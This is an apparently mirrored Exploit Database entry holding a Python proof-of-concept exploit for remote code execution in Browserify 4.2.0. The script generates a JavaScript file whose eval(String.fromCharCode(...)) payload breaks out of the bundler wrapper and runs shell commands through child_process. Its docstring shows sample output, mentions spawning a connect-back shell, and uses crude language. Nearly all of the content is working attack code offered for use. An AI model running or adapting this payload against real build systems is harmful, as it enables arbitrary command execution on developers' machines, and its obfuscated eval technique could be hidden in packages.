Node Browserify 4.2.0 – Remote Code Execution

• Exploit Database
• 15 阅读

• 作者： Cal Leeming
  日期： 2014-07-16
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/34090/

• #!/usr/bin/python
   
  """
  Browserify POC exploit
  
  http://iops.io/blog/browserify-rce-vulnerability/
   
  To run, just do:
   
  $ python poc.py > exploit.js
  $ browserify exploit.js
  BITCH I TOLD YOU THIS SHIT IS FABULOUS
  [[garbage output]]
  },{}]},{},[1]) 00:08:32 up 12:29,3 users,load average: 0.00, 0.02, 0.05
  uid=1001(foxx) gid=1001(foxx) groups=1001(foxx),27(sudo),105(fuse)
   
  You can also spawn() and create a connect back shell.
   
  Enjoy
   
  """
   
  def charencode(string):
  encoded=''
  for char in string:
  encoded=encoded+","+str(ord(char))
  return encoded[1:]
   
  plaintext = """
   var require = this.process.mainModule.require;
   var sys = require('sys')
   var exec = require('child_process').exec;
   function puts(error, stdout, stderr) { sys.puts(stdout) }
   exec("uptime && id", puts);
   console.log("BITCH I TOLD YOU THIS SHIT IS FABULOUS");
  """
   
  payload = charencode(plaintext)
  final = "eval(String.fromCharCode(%s));" %(payload)
   
  print "});"
  print final
  print "(function(){"